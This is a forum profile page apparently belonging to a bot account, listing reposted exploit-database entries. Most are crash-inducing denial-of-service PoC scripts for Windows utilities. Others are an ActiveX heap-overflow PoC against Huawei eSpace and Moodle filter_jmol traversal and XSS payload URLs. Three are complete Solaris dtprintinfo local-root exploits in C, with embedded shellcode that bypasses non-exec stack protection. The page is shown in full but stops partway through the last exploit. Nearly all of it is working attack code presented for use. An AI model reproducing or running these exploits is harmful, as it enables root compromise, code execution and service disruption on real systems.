跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. Huawei eSpace Meeting ContactsCtrl.dll and eSpaceStatusCtrl.dll ActiveX Heap Overflow Vendor: Huawei Technologies Co., Ltd. Product web page: https://www.huawei.com Affected version: eSpace 1.1.11.103 (aka eSpace ECS, eSpace Desktop, eSpace Meeting, eSpace UC) eSpace UC V200R002C02 Summary: Create more convenient Enhanced Communications (EC) services for your enterprise with this suite of products. Huawei’s EC Suite (ECS) solution combines voice, data, video, and service streams, and provides users with easy and secure access to their service platform from any device, in any place, at any time. The eSpace Meeting allows you to join meetings that support voice, data, and video functions using the PC client, the tablet client, or an IP phone, or in a meeting room with an MT deployed. Desc: eSpace Meeting suffers from a heap-based memory overflow vulnerability when parsing large amount of bytes to the 'strNum' string parameter in GetNameyNum() in 'ContactsCtrl.dll' and 'strName' string parameter in SetUserInfo() in eSpaceStatusCtrl.dll library, resulting in heap memory corruption. An attacker can gain access to the system of the affected node and execute arbitrary code. Vuln ActiveX controls: C:\Program Files\eSpace-ecs\ContactsCtrl.dll C:\Program Files\eSpace-ecs\eSpaceStatusCtrl.dll Tested on: Microsoft Windows 7 Professional Vulnerability discovered by Gjoko 'LiquidWorm' Krstic 23.09.2014 Patched version: V200R001C03 Vuln ID: HWPSIRT-2014-1157 CVE ID: CVE-2014-9418 Advisory: https://www.huawei.com/en/psirt/security-advisories/hw-406589 -- ContactsCtrl.dll PoC and debug output: <object classid='clsid:B53B93C2-6B0D-4D30-B46D-12F64E809B6D' id='target' /> <script language='vbscript'> targetFile = "C:\Program Files\eSpace-ecs\ContactsCtrl.dll" prototype = "Function GetNameByNum ( ByVal strNum As String ) As String" memberName = "GetNameByNum" progid = "ContactsCtrlLib.ContactWnd" argCount = 1 arg1=String(616400, "A") target.GetNameByNum arg1 0:000> d esi 04170024 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 04170034 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 04170044 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 04170054 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 04170064 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 04170074 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 04170084 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 04170094 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. eSpaceStatusCtrl.dll PoC and debug output: <object classid='clsid:93A44D3B-7CED-454F-BBB4-EE0AA340BB78' id='target' /> <script language='vbscript'> targetFile = "C:\Program Files\eSpace-ecs\eSpaceStatusCtrl.dll" prototype = "Sub SetUserInfo ( ByVal strAccount As String , ByVal staffNo As String , ByVal strName As String , ByVal status As Long )" memberName = "SetUserInfo" progid = "eSpaceStatusCtrlLib.StatusCtrl" argCount = 4 arg1="defaultV" arg2="defaultV" arg3=String(14356, "A") arg4=1 target.SetUserInfo arg1 ,arg2 ,arg3 ,arg4 0:005> r eax=feeefeee ebx=02813550 ecx=feeefeee edx=feeefeee esi=0281369c edi=02813698 eip=776def10 esp=029dfd60 ebp=029dfd74 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010293 ntdll!RtlEnterCriticalSection+0x4a: 776def10 83790800 cmp dword ptr [ecx+8],0 ds:0023:feeefef6=????????
  2. # -*- coding: utf-8 -*- # Exploit Title: Encrypt PDF v2.3 - Denial of Service (PoC) # Date: 19/05/2019 # Author: Alejandra Sánchez # Vendor Homepage: http://www.verypdf.com # Software: http://www.verypdf.com/encryptpdf/encryptpdf.exe # Version: 2.3 # Tested on: Windows 10 # Proof of Concept: # 1.- Run the python script "EncryptPDF.py", it will create a new file "EncryptPDF.txt" # 2.- Copy the text from the generated EncryptPDF.txt file to clipboard # 3.- Open Encrypt PDF v2.3 # 4.- Go to 'Setting', paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK' # 5.- Click on 'Open PDF(s)', when you import a pdf file, you will see a crash buffer = "\x41" * 1000 f = open ("EncryptPDF.txt", "w") f.write(buffer) f.close()
  3. # -*- coding: utf-8 -*- # Exploit Title: VeryPDF PCL Converter v2.7 - Denial of Service (PoC) # Date: 19/05/2019 # Author: Alejandra Sánchez # Vendor Homepage: http://www.verypdf.com # Software: http://www.verypdf.com/pcltools/pcl-converter.exe # Version: 2.7 # Tested on: Windows 10 # Proof of Concept: # 1.- Run the python script "PCLConverter.py", it will create a new file "PCLConverter.txt" # 2.- Copy the text from the generated PCLConverter.txt file to clipboard # 3.- Open VeryPDF PCL Converter v2.7 # 4.- Go to 'Setting' > 'PDF Security' # 5.- Mark 'Encrypt PDF File' and paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK' # 6.- Click on 'Add File(s)', and select a pcl file, e.g. 'sample.pcl' # 7.- Click on 'Start', you will see a crash buffer = "\x41" * 3000 f = open ("PCLConverter.txt", "w") f.write(buffer) f.close()
  4. #Exploit Title: AbsoluteTelnet 10.16 - 'License name' Denial of Service (PoC) #Discovery by: Victor Mondragón #Discovery Date: 2019-05-19 #Vendor Homepage: https://www.celestialsoftware.net/ #Software Link: https://www.celestialsoftware.net/telnet/AbsoluteTelnet10.16.exe #Tested Version: 10.16 #Tested on: Windows 7 Service Pack 1 x64 #Steps to produce the crash: #1.- Run python code: AbsoluteTelent.py #2.- Open AbsoluteTelent.txt and copy content to clipboard #3.- Open AbsoluteTelnet.exe #4.- Select "Help" > "Enter License Key" #5.- In "License Name" paste Clipboard #6.- Crashed cod = "\x41" * 2500 f = open('AbsoluteTelent.txt', 'w') f.write(cod) f.close()
  5. # -*- coding: utf-8 -*- # Exploit Title: Document Converter (docPrint Pro) v8.0 - Denial of Service (PoC) # Date: 19/05/2019 # Author: Alejandra Sánchez # Vendor Homepage: http://www.verypdf.com # Software: http://dl.verypdf.net/docprint_pro_setup.exe # Version: 8.0 # Tested on: Windows 10 # Proof of Concept: # 1.- Run the python script "DocConverter.py", it will create a new file "DocConverter.txt" # 2.- Copy the text from the generated DocConverterr.txt file to clipboard # 3.- Open docPrint Document Converter # 4.- Go to 'Setting' > 'PDF Security' # 5.- Mark 'Encrypt PDF File' and paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK' # 6.- Click on 'Add File(s)', and select a supported file, e.g. 'sample.doc' # 7.- Click on 'Start', you will see a crash buffer = "\x41" * 3000 f = open ("DocConverter.txt", "w") f.write(buffer) f.close()
  6. #Exploit Title: BulletProof FTP Server 2019.0.0.50 - 'DNS Address' Denial of Service (PoC) #Discovery by: Victor Mondragón #Discovery Date: 2019-05-18 #Vendor Homepage: http://bpftpserver.com/ #Software Link: http://bpftpserver.com/products/bpftpserver/windows/download #Tested Version: 2019.0.0.50 #Tested on: Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64 #Steps to produce the crash: #1.- Run python code: BulletProof_DNS_Server_2019.0.0.50.py #2.- Open bullet_storage.txt and copy content to clipboard #3.- Open BulletProof FTP Server #4.- Select "Settings" > "Protocols" > "FTP" > "Firewall" #5.- Enable "DNS Address" and Paste Clipboard #6.- Click on "Test" #7.- Crashed cod = "\x41" * 700 f = open('bullet_dns.txt', 'w') f.write(cod) f.close()
  7. # Exploit Title: Moodle filter_jmol multiple vulnerabilities (Directory Traversal and XSS) # Date: 20 May 2019 # Exploit Author: Dionach Ltd # Exploit Author Homepage: https://www.dionach.com/blog/moodle-jmol-plugin-multiple-vulnerabilities # Software Link: https://moodle.org/plugins/filter_jmol # Version: <=6.1 # Tested on: Debian The Jmol/JSmol plugin for the Moodle Learning Management System displays chemical structures in Moodle using Java and JavaScript. The plugin implements a PHP server-side proxy in order to load third party resources bypassing client-side security restrictions. This PHP proxy script calls the function file_get_contents() on unvalidated user input. This makes Moodle instances with this plugin installed vulnerable to directory traversal and server-side request forgery in the default PHP setup, and if PHP's "expect" wrapper is enabled, also to remote code execution. Other parameters in the plugin are also vulnerable to reflected cross-site scripting. Note that authentication is not required to exploit these vulnerabilities. The JSmol Moodle plugin was forked from the JSmol project, where the directory traversal and server-side request forgery vulnerability was partially fixed in 2015. * Plugin: https://moodle.org/plugins/pluginversions.php?plugin=filter_jmol * Note on functionality: https://github.com/geoffrowland/moodle-filter_jmol/blob/master/js/jsmol/php/jsmol.php#L14 * Vulnerability announcement: https://sourceforge.net/p/jmol/mailman/message/33627649/ * Partial fix: https://sourceforge.net/p/jsmol/code/1004/ This issue is tracked at the following URLs: https://www.dionach.com/blog/moodle-jmol-plugin-multiple-vulnerabilities https://tracker.moodle.org/browse/CONTRIB-7516 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:F/RL:W/RC:C == Proof of Concept == 1. Directory traversal http://<moodle>/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd 2. Reflected cross-site scripting http://<moodle>/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&mimetype=text/html http://<moodle>/filter/jmol/iframe.php?_USE=%22};alert(%27XSS%27);// 3. Malware distribution http://<moodle>/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&encoding=base64&data=UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA%3D%3D&filename=empty.zip
  8. #Exploit Title: BulletProof FTP Server 2019.0.0.50 - 'Storage-Path' Denial of Service (PoC) #Discovery by: Victor Mondragón #Discovery Date: 2019-05-18 #Vendor Homepage: http://bpftpserver.com/ #Software Link: http://bpftpserver.com/products/bpftpserver/windows/download #Tested Version: 2019.0.0.50 #Tested on: Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64 #Steps to produce the crash: #1.- Run python code: BulletProof_Storage_Server_2019.0.0.50.py #2.- Open bullet_storage.txt and copy content to clipboard #3.- Open BulletProof FTP Server #4.- Select "Settings" > "Advanced" #5.- Enable "Override Storage-Path" and Paste Clipboard #6.- Click on "Save" #7.- Crashed cod = "\x41" * 500 f = open('bullet_storage.txt', 'w') f.write(cod) f.close()
  9. /* * raptor_dtprintname_intel.c - dtprintinfo 0day, Solaris/Intel * Copyright (c) 2004-2019 Marco Ivaldi <[email protected]> * * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to * local root. Many thanks to Dave Aitel for discovering this vulnerability * and for his interesting research activities on Solaris/SPARC. * * "None of my dtprintinfo work is public, other than that 0day pack being * leaked to all hell and back. It should all basically still work. Let's * keep it that way, cool? :>" -- Dave Aitel * * This exploit uses the ret-into-ld.so technique to bypass the non-exec * stack protection. If experiencing troubles with null-bytes inside the * ld.so.1 memory space, try returning to sprintf() instead of strcpy(). * * Usage: * $ gcc raptor_dtprintname_intel.c -o raptor_dtprintname_intel -Wall * [on your xserver: disable the access control] * $ ./raptor_dtprintname_intel 192.168.1.1:0 * [...] * # id * uid=0(root) gid=1(other) * # * * Tested on: * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) * [previous Solaris versions are also vulnerable] */ #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/systeminfo.h> #define INFO1 "raptor_dtprintname_intel.c - dtprintinfo 0day, Solaris/Intel" #define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi <[email protected]>" #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program #define BUFSIZE 301 // size of the printer name char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ /* double setuid() */ "\x31\xc0\x50\x50\xb0\x17\xcd\x91" "\x31\xc0\x50\x50\xb0\x17\xcd\x91" /* execve() */ "\x31\xc0\x50\x68/ksh\x68/bin" "\x89\xe3\x50\x53\x89\xe2\x50" "\x52\x53\xb0\x3b\x50\xcd\x91"; /* globals */ char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_zero(int addr, char *pattern); int search_ldso(char *sym); int search_rwx_mem(void); void set_val(char *buf, int pos, int val); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], ksh_var[16]; char platform[256], release[256], display[256]; int i, offset, sc_addr, ksh_pos; int plat_len, prog_len; char *arg[2] = {"foo", NULL}; int sb = ((int)argv[0] | 0xfff); /* stack base */ int ret = search_ldso("strcpy"); /* or sprintf */ int rwx_mem = search_rwx_mem(); /* rwx memory */ /* fake lpstat code */ if (!strcmp(argv[0], "lpstat")) { /* check command line */ if (argc != 2) exit(1); /* get the shellcode address from the environment */ sc_addr = (int)strtoul(getenv("KSH"), (char **)NULL, 0); /* prepare the evil printer name */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; /* fill with ld.so.1 address, saved eip, and arguments */ for (i = 0; i < BUFSIZE; i += 4) { set_val(buf, i, ret); /* strcpy */ set_val(buf, i += 4, rwx_mem); /* saved eip */ set_val(buf, i += 4, rwx_mem); /* 1st argument */ set_val(buf, i += 4, sc_addr); /* 2nd argument */ } /* print the expected output and exit */ if(!strcmp(argv[1], "-v")) { fprintf(stderr, "lpstat called with -v\n"); printf("device for %s: /dev/null\n", buf); } else { fprintf(stderr, "lpstat called with -d\n"); printf("system default destination: %s\n", buf); } exit(0); } /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* read command line */ if (argc != 2) { fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); /* get some system information */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); /* fill the envp, keeping padding */ add_env(sc); ksh_pos = env_pos; add_env("KSH=0x42424242"); add_env(display); add_env("PATH=.:/usr/bin"); add_env("HOME=/tmp"); add_env(NULL); /* calculate the offset to the shellcode */ plat_len = strlen(platform) + 1; prog_len = strlen(VULN) + 1; offset = 5 + env_len + plat_len + prog_len; /* calculate the shellcode address */ sc_addr = sb - offset; /* overwrite the KSH env var with the right address */ sprintf(ksh_var, "KSH=0x%x", sc_addr); env[ksh_pos] = ksh_var; /* create a symlink for the fake lpstat */ unlink("lpstat"); symlink(argv[0], "lpstat"); /* print some output */ fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(0); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return(env_len); } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return(env_len); } /* * check_zero(): check an address for the presence of a 0x00 */ void check_zero(int addr, char *pattern) { if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); exit(1); } } /* * search_ldso(): search for a symbol inside ld.so.1 */ int search_ldso(char *sym) { int addr; void *handle; Link_map *lm; /* open the executable object file */ if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlopen"); exit(1); } /* get dynamic load information */ if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); exit(1); } /* search for the address of the symbol */ if ((addr = (int)dlsym(handle, sym)) == NULL) { fprintf(stderr, "sorry, function %s() not found\n", sym); exit(1); } /* close the executable object file */ dlclose(handle); check_zero(addr - 4, sym); return(addr); } /* * search_rwx_mem(): search for an RWX memory segment valid for all * programs (typically, /usr/lib/ld.so.1) using the proc filesystem */ int search_rwx_mem(void) { int fd; char tmp[16]; prmap_t map; int addr = 0, addr_old; /* open the proc filesystem */ sprintf(tmp,"/proc/%d/map", (int)getpid()); if ((fd = open(tmp, O_RDONLY)) < 0) { fprintf(stderr, "can't open %s\n", tmp); exit(1); } /* search for the last RWX memory segment before stack (last - 1) */ while (read(fd, &map, sizeof(map))) if (map.pr_vaddr) if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { addr_old = addr; addr = map.pr_vaddr; } close(fd); /* add 4 to the exact address NULL bytes */ if (!(addr_old & 0xff)) addr_old |= 0x04; if (!(addr_old & 0xff00)) addr_old |= 0x0400; return(addr_old); } /* * set_val(): copy a dword inside a buffer (little endian) */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0x000000ff); buf[pos + 1] = (val & 0x0000ff00) >> 8; buf[pos + 2] = (val & 0x00ff0000) >> 16; buf[pos + 3] = (val & 0xff000000) >> 24; }
  10. /* * raptor_dtprintname_sparc.c - dtprintinfo 0day, Solaris/SPARC * Copyright (c) 2004-2019 Marco Ivaldi <[email protected]> * * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to * local root. Many thanks to Dave Aitel for discovering this vulnerability * and for his interesting research activities on Solaris/SPARC. * * "None of my dtprintinfo work is public, other than that 0day pack being * leaked to all hell and back. It should all basically still work. Let's * keep it that way, cool? :>" -- Dave Aitel * * Usage: * $ gcc raptor_dtprintname_sparc.c -o raptor_dtprintname_sparc -Wall * [on your xserver: disable the access control] * $ ./raptor_dtprintname_sparc 192.168.1.1:0 * [...] * # id * uid=0(root) gid=10(staff) * # * * Tested on: * SunOS 5.7 Generic_106541-21 sun4u sparc SUNW,Ultra-1 * SunOS 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10 * SunOS 5.9 Generic sun4u sparc SUNW,Ultra-5_10 * [SunOS 5.10 is also vulnerable, the exploit might require some tweaking] */ #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/systeminfo.h> #define INFO1 "raptor_dtprintname_sparc.c - dtprintinfo 0day, Solaris/SPARC" #define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi <[email protected]>" #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program #define BUFSIZE 301 // size of the printer name /* voodoo macros */ #define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;} #define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;} char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */ /* double setuid() */ "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /* execve() */ "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20" "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14" "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh"; /* globals */ char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void set_val(char *buf, int pos, int val); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], var[16]; char platform[256], release[256], display[256]; int i, offset, ret, var_pos; int plat_len, prog_len, rel; char *arg[2] = {"foo", NULL}; int arg_len = 4, arg_pos = 1; int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; /* fake lpstat code */ if (!strcmp(argv[0], "lpstat")) { /* check command line */ if (argc != 2) exit(1); /* get ret address from environment */ ret = (int)strtoul(getenv("RET"), (char **)NULL, 0); /* prepare the evil printer name */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; /* fill with return address */ for (i = 0; i < BUFSIZE; i += 4) set_val(buf, i, ret - 8); /* print the expected output and exit */ if(!strcmp(argv[1], "-v")) { fprintf(stderr, "lpstat called with -v\n"); printf("device for %s: /dev/null\n", buf); } else { fprintf(stderr, "lpstat called with -d\n"); printf("system default destination: %s\n", buf); } exit(0); } /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* read command line */ if (argc != 2) { fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); /* get some system information */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); rel = atoi(release + 2); /* fill the envp, keeping padding */ add_env(sc); var_pos = env_pos; add_env("RET=0x41414141"); add_env(display); add_env("PATH=.:/usr/bin"); add_env("HOME=/tmp"); add_env(NULL); /* calculate the offset to argv[0] (voodoo magic) */ plat_len = strlen(platform) + 1; prog_len = strlen(VULN) + 1; offset = arg_len + env_len + plat_len + prog_len; if (rel > 7) VOODOO64(offset, arg_pos, env_pos) else VOODOO32(offset, plat_len, prog_len) /* calculate the needed addresses */ ret = sb - offset + arg_len; /* overwrite the RET env var with the right ret address */ sprintf(var, "RET=0x%x", ret); env[var_pos] = var; /* create a symlink for the fake lpstat */ unlink("lpstat"); symlink(argv[0], "lpstat"); /* print some output */ fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using ret address\t: 0x%p\n\n", (void *)ret); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(0); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return(env_len); } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return(env_len); } /* * set_val(): copy a dword inside a buffer */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0xff000000) >> 24; buf[pos + 1] = (val & 0x00ff0000) >> 16; buf[pos + 2] = (val & 0x0000ff00) >> 8; buf[pos + 3] = (val & 0x000000ff); }
  11. /* * raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC * Copyright (c) 2004-2019 Marco Ivaldi <[email protected]> * * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to * local root. Many thanks to Dave Aitel for discovering this vulnerability * and for his interesting research activities on Solaris/SPARC. * * "None of my dtprintinfo work is public, other than that 0day pack being * leaked to all hell and back. It should all basically still work. Let's * keep it that way, cool? :>" -- Dave Aitel * * This is the ret-into-ld.so version of raptor_dtprintname_sparc.c, able * to bypass the non-executable stack protection (noexec_user_stack=1 in * /etc/system). * * NOTE. If experiencing troubles with null-bytes inside the ld.so.1 memory * space, use sprintf() instead of strcpy() (tested on some Solaris 7 boxes). * * Usage: * $ gcc raptor_dtprintname_sparc2.c -o raptor_dtprintname_sparc2 -ldl -Wall * [on your xserver: disable the access control] * $ ./raptor_dtprintname_sparc2 192.168.1.1:0 * [...] * # id * uid=0(root) gid=10(staff) * # * * Tested on: * SunOS 5.7 Generic_106541-21 sun4u sparc SUNW,Ultra-1 * SunOS 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10 * SunOS 5.9 Generic sun4u sparc SUNW,Ultra-5_10 * [SunOS 5.10 is also vulnerable, the exploit might require some tweaking] */ #include <dlfcn.h> #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/systeminfo.h> #define INFO1 "raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC" #define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi <[email protected]>" #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program #define BUFSIZE 301 // size of the printer name #define FFSIZE 64 + 1 // size of the fake frame #define DUMMY 0xdeadbeef // dummy memory address /* voodoo macros */ #define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;} #define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;} char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */ /* double setuid() */ "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /* execve() */ "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20" "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14" "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh"; /* globals */ char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_zero(int addr, char *pattern); int search_ldso(char *sym); int search_rwx_mem(void); void set_val(char *buf, int pos, int val); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16]; char platform[256], release[256], display[256]; int i, offset, ff_addr, sc_addr, ret_pos, fpt_pos; int plat_len, prog_len, rel; char *arg[2] = {"foo", NULL}; int arg_len = 4, arg_pos = 1; int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; int ret = search_ldso("strcpy"); /* or sprintf */ int rwx_mem = search_rwx_mem(); /* fake lpstat code */ if (!strcmp(argv[0], "lpstat")) { /* check command line */ if (argc != 2) exit(1); /* get ret and fake frame addresses from environment */ ret = (int)strtoul(getenv("RET"), (char **)NULL, 0); ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0); /* prepare the evil printer name */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; /* fill with return and fake frame addresses */ for (i = 0; i < BUFSIZE; i += 4) { /* apparently, we don't need to bruteforce */ set_val(buf, i, ret - 4); set_val(buf, i += 4, ff_addr); } /* print the expected output and exit */ if(!strcmp(argv[1], "-v")) { fprintf(stderr, "lpstat called with -v\n"); printf("device for %s: /dev/null\n", buf); } else { fprintf(stderr, "lpstat called with -d\n"); printf("system default destination: %s\n", buf); } exit(0); } /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* read command line */ if (argc != 2) { fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); /* get some system information */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); rel = atoi(release + 2); /* prepare the fake frame */ bzero(ff, sizeof(ff)); /* * saved %l registers */ set_val(ff, i = 0, DUMMY); /* %l0 */ set_val(ff, i += 4, DUMMY); /* %l1 */ set_val(ff, i += 4, DUMMY); /* %l2 */ set_val(ff, i += 4, DUMMY); /* %l3 */ set_val(ff, i += 4, DUMMY); /* %l4 */ set_val(ff, i += 4, DUMMY); /* %l5 */ set_val(ff, i += 4, DUMMY); /* %l6 */ set_val(ff, i += 4, DUMMY); /* %l7 */ /* * saved %i registers */ set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */ set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */ set_val(ff, i += 4, DUMMY); /* %i2 */ set_val(ff, i += 4, DUMMY); /* %i3 */ set_val(ff, i += 4, DUMMY); /* %i4 */ set_val(ff, i += 4, DUMMY); /* %i5 */ set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */ set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */ /* fill the envp, keeping padding */ sc_addr = add_env(ff); add_env(sc); ret_pos = env_pos; add_env("RET=0x41414141"); fpt_pos = env_pos; add_env("FPT=0x42424242"); add_env(display); add_env("PATH=.:/usr/bin"); add_env("HOME=/tmp"); add_env(NULL); /* calculate the offset to argv[0] (voodoo magic) */ plat_len = strlen(platform) + 1; prog_len = strlen(VULN) + 1; offset = arg_len + env_len + plat_len + prog_len; if (rel > 7) VOODOO64(offset, arg_pos, env_pos) else VOODOO32(offset, plat_len, prog_len) /* calculate the needed addresses */ ff_addr = sb - offset + arg_len; sc_addr += ff_addr; /* set fake frame's %i1 */ set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */ /* overwrite RET and FPT env vars with the right addresses */ sprintf(ret_var, "RET=0x%x", ret); env[ret_pos] = ret_var; sprintf(fpt_var, "FPT=0x%x", ff_addr); env[fpt_pos] = fpt_var; /* create a symlink for the fake lpstat */ unlink("lpstat"); symlink(argv[0], "lpstat"); /* print some output */ fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr); fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(0); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return(env_len); } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); 